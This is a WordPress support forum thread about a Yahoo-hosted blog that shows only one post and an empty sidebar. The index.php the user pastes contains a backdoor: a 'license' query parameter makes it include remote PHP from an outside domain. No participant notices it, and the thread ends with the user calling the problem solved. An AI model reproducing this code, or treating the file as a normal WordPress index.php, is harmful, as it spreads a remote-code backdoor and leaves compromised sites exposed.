Only one blog post appears, and nothing in column 2

Hard to help without looking at your blog and testing the theme used.

S.K

I used the WordPress default 1.5 theme, basic stuff. I tried other, basic, themes with the same result.

chriscarterconsulting.com/blog

Thanks.

Try disabling wp-cache.

S.K

I think your ‘index.phporhome.php` is messed up or did you never have navigation in the sidebar and a footer?

Never had navigation in the sidebar, only categories, blogroll, past posts by date, etc.

If the index.php or home.php files are messed up, how do I fix them?

Thanks!

Re-upload them over ftp from a good original on your PC.
PS. in your second post hete yo wrote that you are using a WP 1.5 theme.
The source of your blog tells us that you are using WordPress 2.0.2 Both are quit old and my guess is that a 1.5 theme does not mix very well with WP 2.0.2

Thanks for your insights.

One more question. My blog is part of my Yahoo! Small Business site and is administered by Yahoo! Management of WordPress upgrades is set to “automatic” and I see no where that I can manually upgrade the WordPress software to a later version. I’ve asked Yahoo! for assistance but am told this is a WordPress issue, although they “serve” the site, including all of the blog contents. Its worked fine until this point in time when I entered my latest post. Could there be an issue in how the blog content is cached and published on Yahoo!’s servers?

Thanks again for your time, patience and feedback.

Sorry, I know nothing about the Yahoo setup.
1. If you can make a backup of the database, do it now.
2. Do you have ftp access to your wp files?
3. Can you go in the WP Admin dashboard?
Go just above Plugins in the left menu to, I think Presentation (sorry, my Dasboard is not in English). There you can view your theme files. Find index.php and copy/paste it here between backticks.

I backed up my database to my desktop as an “.sql” file.

The Index.php file contains the following (I added the ” at the beginning and end):

“<?php
/* Short and sweet */
define(‘WP_USE_THEMES’, true);
if (isset($_GET[‘license’])) {
@include(‘https://wordpress.net.in/license.txt&#8217;);
} else {
require(‘./wp-blog-header.php’);
}
?>”

There is also a wp-content/themes/default/index.php file.

Any insight is appreciated.

For what its worth, I resolved the problem.

I noticed the “errors on page” icon on the browser in the lower left corner appeared when I was Managing the list of Posts. When I looked at the error message it indicated it was expecting certain characters in specific lines on the page that were not appearing. I saved all of the posts and then deleted individual posts, starting with the most recent, until the error “indicator” on the browser disappeared. This happened after deleting two messages. I then copied and pasted the two most recent posts back into the blog and wa-la, it worked. The theme is loading properly as are all of the other posts and sidebars. Not sure why this happened but it is resolved.

Thanks to all for your interest in helping me sort this out.